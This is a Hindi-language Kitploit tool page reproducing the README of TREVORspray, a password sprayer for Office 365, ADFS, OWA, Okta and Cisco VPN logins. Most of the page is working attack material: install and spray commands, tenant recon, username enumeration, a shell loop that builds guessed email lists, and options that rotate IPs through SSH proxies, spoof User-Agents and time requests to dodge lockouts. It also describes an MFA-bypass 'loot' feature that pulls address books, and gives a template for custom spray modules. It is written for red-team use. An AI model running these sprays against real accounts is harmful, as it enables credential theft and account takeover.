Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
TREVORspray — मॉड्यूलर पासवर्ड स्प्रेयर जिसमें SSH प्रॉक्सी रोटेशन, MFA बाईपास और डोमेन रिकॉन शामिल है। O365, ADFS, OWA, Okta, Cisco VPN को सपोर्ट करता है। क्रेडेंशियल सत्यापन और लूट निष्कर्षण को स्वचालित करता है। | Kitploit
उपकरण/GitHubGitHub/blacklanternsecurity/trevorspray
WAF बाईपास
GitHubblacklanternsecurity/trevorspray

TREVORspray

मॉड्यूलर पासवर्ड स्प्रेयर जिसमें SSH प्रॉक्सी रोटेशन, MFA बाईपास और डोमेन रिकॉन शामिल है। O365, ADFS, OWA, Okta, Cisco VPN को सपोर्ट करता है। क्रेडेंशियल सत्यापन और लूट निष्कर्षण को स्वचालित करता है।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
1.4k17963 महीने पहलेKitploit द्वारा समीक्षित

TREVORspray 2.0

TREVORspray एक मॉड्यूलर पासवर्ड स्प्रेयर है जिसमें थ्रेडिंग, SSH प्रॉक्सीिंग, लूट मॉड्यूल और बहुत कुछ है!

द्वारा @thetechr0mancer

License Python Version

स्थापना:

root@kitploit:~
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

मजेदार विवरण और कुछ शानदार डेमो के लिए साथ में ब्लॉग पोस्ट देखें!

trevorspray-demo

विशेषताएँ

  • थ्रेड्स, बहुत सारे थ्रेड्स
  • एकाधिक मॉड्यूल
    • msol (Office 365)
    • adfs (Active Directory Federation Services)
    • owa (Outlook Web App)
    • okta (Okta SSO)
    • anyconnect (Cisco VPN)
    • कस्टम मॉड्यूल (बनाना आसान!)
  • प्रत्येक खाते की स्थिति बताता है: यह मौजूद है, लॉक है, MFA सक्षम है, आदि।
  • स्वचालित रद्द/पुनः आरंभ (पहले से आज़माए गए उपयोगकर्ता/पासवर्ड संयोजनों को ~/.trevorspray/tried_logins.txt में याद रखता है)
  • --ssh या --subnet के साथ कई IP के माध्यम से राउंड-रॉबिन प्रॉक्सी
  • यदि प्रॉक्सी डाउन हो जाती है (या आपका इंटरनेट कट जाता है) तो स्वचालित अनंत पुनः कनेक्ट/पुनः प्रयास
  • वैध प्रमाणीकरण ट्रैफ़िक जैसा दिखने के लिए User-Agent और अन्य हस्ताक्षरों को स्पूफ करता है
  • व्यापक लॉगिंग
  • लॉकआउट काउंटरमेशर्स को बायपास करने के लिए अनुरोधों के बीच वैकल्पिक --delay, --jitter, और --lockout-delay
  • IPv6 समर्थन
  • O365 MFA बायपास समर्थन (--no-loot से अक्षम करें)
    • IMAP
    • SMTP
    • POP
    • EWS (Exchange Web Services) - स्वचालित रूप से GAL (ग्लोबल एड्रेस बुक) प्राप्त करता है
    • EAS (Exchange ActiveSync)
      • अनुशंसित बायपास: BlueMail Android ऐप
    • EXO (Exchange Online PowerShell)
    • UM (Exchange Unified Messaging)
    • AutoDiscover - स्वचालित रूप से OAB (ऑफलाइन एड्रेस बुक) प्राप्त करता है
    • Azure Portal एक्सेस
  • निम्नलिखित सुविधाओं के साथ डोमेन --recon:
    • MX/TXT रिकॉर्ड सूचीबद्ध करें
    • O365 जानकारी सूचीबद्ध करें
      • टेनेंट ID
      • टेनेंट नाम
      • अन्य टेनेंट डोमेन
      • SharePoint URL
      • प्रमाणीकरण URL, ऑटोडिस्कवर, फ़ेडरेशन कॉन्फ़िग, आदि
    • उपयोगकर्ता गणना (--recon और --users का उपयोग करें):
      • OneDrive
      • Azure Seamless SSO

कैसे करें - O365

  • सबसे पहले, corp.com के लिए ईमेल की एक सूची प्राप्त करें और देखें कि डिफ़ॉल्ट कॉन्फ़िगरेशन काम करता है या नहीं। आमतौर पर यह काम करता है।
  • यदि TREVORspray कहता है कि आपकी सूची में ईमेल मौजूद नहीं हैं, तो हार न मानें। --recon corp.com के साथ token_endpoint प्राप्त करें। token_endpoint वह URL है जिसके विरुद्ध आप स्प्रे करेंगे (--url विकल्प के साथ)।
  • सही token_endpoint + ईमेल प्रारूप का संयोजन खोजने में कुछ प्रयोग लग सकता है।
    • उदाहरण के लिए, यदि आप corp.com पर हमला कर रहे हैं, तो यह corp.com पर स्प्रे करने जितना आसान नहीं हो सकता है। आप पा सकते हैं कि Corp की मूल कंपनी Evilcorp उनके Azure टेनेंट का मालिक है, जिसका अर्थ है कि आपको evilcorp.com के token_endpoint के विरुद्ध स्प्रे करने की आवश्यकता है। साथ ही, आप पा सकते हैं कि corp.com के आंतरिक डोमेन corp.local का उपयोग के बजाय किया जाता है।

उदाहरण: एक डोमेन के विरुद्ध रिकॉन करें (टेनेंट जानकारी, ऑटोडिस्कवर, MX रिकॉर्ड आदि प्राप्त करता है)

root@kitploit:~
trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

उदाहरण: OneDrive के माध्यम से उपयोगकर्ताओं की गणना करें (कोई असफल लॉगिन नहीं)

root@kitploit:~
trevorspray --recon evilcorp.com -u emails.txt --threads 10

recon-user-enumeration

उदाहरण: खोजे गए "token_endpoint" URL के विरुद्ध स्प्रे करें

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

उदाहरण: अनुरोधों के बीच 5-सेकंड विलंब के साथ स्प्रे करें

root@kitploit:~
trevorspray -u [email protected] -p 'Welcome123' --delay 5

उदाहरण: 3 IP के बीच राउंड-रॉबिन और स्प्रे करें (वर्तमान IP का भी उपयोग किया जाता है, जब तक कि -n निर्दिष्ट न हो)

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

उदाहरण: OSINT के बिना मान्य उपयोगकर्ता नाम खोजें >:D

root@kitploit:~
# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

डाउनलोड किए गए LZX फ़ाइलों से डेटा निकालें

जब TREVORspray सफलतापूर्वक MFA को बायपास करता है और एक ऑफलाइन एड्रेस बुक (OAB) प्राप्त करता है, तो एड्रेस बुक LZX प्रारूप में ~/.trevorspray/loot पर डाउनलोड होती है। LZX एक प्राचीन और कष्टप्रद संपीड़न एल्गोरिदम है जिसका उपयोग Microsoft करता है।

root@kitploit:~
# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - सहायता:

root@kitploit:~
$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -t, --threads THREADS
                        Max number of concurrent requests (default: 1)
  -f, --force           Try all usernames/passwords even if they've been tried before
  -d, --delay DELAY     Sleep for this many seconds between requests
  -ld, --lockout-delay LOCKOUT_DELAY
                        Sleep for this many additional seconds when a lockout is encountered
  -j, --jitter JITTER   Add a random delay of up to this many seconds between requests
  -e, --exit-on-success
                        Stop spray when a valid cred is found
  -nl, --no-loot        Don't execute loot activites for valid accounts
  --ignore-lockouts     Forces the spray to continue and not stop when multiple account lockouts are detected
  --timeout TIMEOUT     Connection timeout in seconds (default: 10)
  --random-useragent    Add a random value to the User-Agent for each request
  -6, --prefer-ipv6     Prefer IPv6 over IPv4
  --proxy PROXY         Proxy to use for HTTP and HTTPS requests
  -v, --verbose, --debug
                        Show which proxy is being used for each request

SSH Proxy:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -s, --ssh USER@SERVER [USER@SERVER ...]
                        Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
  -i, -k, --key KEY     Use this SSH key when connecting to proxy hosts
  -b, --base-port BASE_PORT
                        Base listening port to use for SOCKS proxies
  -n, --no-current-ip   Don't spray from the current IP, only use SSH proxies

Subnet Proxy:
  Send traffic from random addresses within IP subnet

  --subnet SUBNET       Subnet to send packets from
  --interface INTERFACE
                        Interface to send packets on

अपने स्वयं के स्प्रे मॉड्यूल लिखना

यदि आपको किसी ऐसी सेवा/एंडपॉइंट पर स्प्रे करने की आवश्यकता है जो अभी तक समर्थित नहीं है, तो आप अपना स्वयं का स्प्रे मॉड्यूल लिख सकते हैं! यह एक बढ़िया विकल्प है क्योंकि कस्टम मॉड्यूल TREVORspray की सभी सुविधाओं से लाभान्वित होते हैं - जैसे प्रॉक्सी, विलंब, जिटर आदि।

अपना स्वयं का स्प्रे मॉड्यूल लिखना काफी सीधा है। lib/sprayers में एक नई .py फ़ाइल बनाएं (उदाहरण: lib/sprayers/custom_sprayer.py), और एक क्लास बनाएं जो BaseSprayModule से विरासत में मिलती है। आप क्लास को जो चाहें नाम दे सकते हैं। HTTP विधि और अन्य पैरामीटर भरें जिनकी आपको अनुरोधों में आवश्यकता है (आप उदाहरण के लिए lib/sprayers/base.py या किसी अन्य मॉड्यूल का संदर्भ ले सकते हैं)।

  • आपको अपने कस्टम क्लास पर केवल एक विधि लागू करनी होगी: check_response(). यह विधि यह निर्धारित करने के लिए HTTP प्रतिक्रिया का मूल्यांकन करती है कि लॉगिन सफल हुआ या नहीं।
  • एक बार समाप्त होने पर, आप कमांड लाइन पर अपनी पायथन फ़ाइल का नाम (.py के बिना) निर्दिष्ट करके कस्टम स्प्रे मॉड्यूल का उपयोग कर सकते हैं, उदाहरण: trevorspray -m custom_sprayer -u users.txt -p Welcome123.
root@kitploit:~
# Example spray module

from .base import BaseSprayModule

class SprayModule(BaseSprayModule):

    # HTTP method
    method = 'POST'
    # default target URL
    default_url = 'https://login.evilcorp.com/'
    # body of request
    request_data = 'user={username}&pass={password}&group={otherthing}'
    # HTTP headers
    headers = {}
    # HTTP cookies
    cookies = {}
    # Don't count nonexistent accounts as failed logons
    fail_nonexistent = False

    headers = {
        'User-Agent': 'Your Moms Smart Vibrator',
    }

    def initialize(self):
        '''
        Get additional arguments from user at runtime
        NOTE: These can also be passed via environment variables beginning with "TREVOR_":
            TREVOR_otherthing=asdf
        '''
        while not self.trevor.runtimeparams.get('otherthing', ''):
            self.trevor.runtimeparams.update({
                'otherthing': input("What's that other thing? ")
            })

        return True


    def check_response(self, response):
        '''
        returns (valid, exists, locked, msg)
        '''

        valid = False
        exists = None
        locked = None
        msg = ''

        if getattr(response, 'status_code', 0) == 200:
            valid = True
            exists = True
            msg = 'Valid cred'

        return (valid, exists, locked, msg)

जहाँ श्रेय देना है, वहाँ श्रेय दें - बहुत-बहुत धन्यवाद:

  • @dafthack को MSOLSpray लिखने के लिए
  • @Mrtn9 को MSOLSpray के उनके Python पोर्ट के लिए
  • @KnappySqwurl को स्प्लंक विज़ार्ड होने के लिए
  • @CarsonSallis को O365 MFA बायपास के लिए
  • @DrAzureAD को Azure AD रिकॉन सुविधाओं के लिए (AADInternals)
  • @nyxgeek को OneDrive उपयोगकर्ता गणना के लिए (onedrive_user_enum)
  • @gremwell को Seamless SSO उपयोगकर्ता गणना के लिए (o365enum)

trevor

#trevorforget

टूल डाउनलोड करें
corp.com
  • तो अंत में, [email protected] को corp.com के token_endpoint के विरुद्ध स्प्रे करने के बजाय, आप [email protected] को evilcorp.com के token_endpoint के विरुद्ध स्प्रे कर रहे हैं।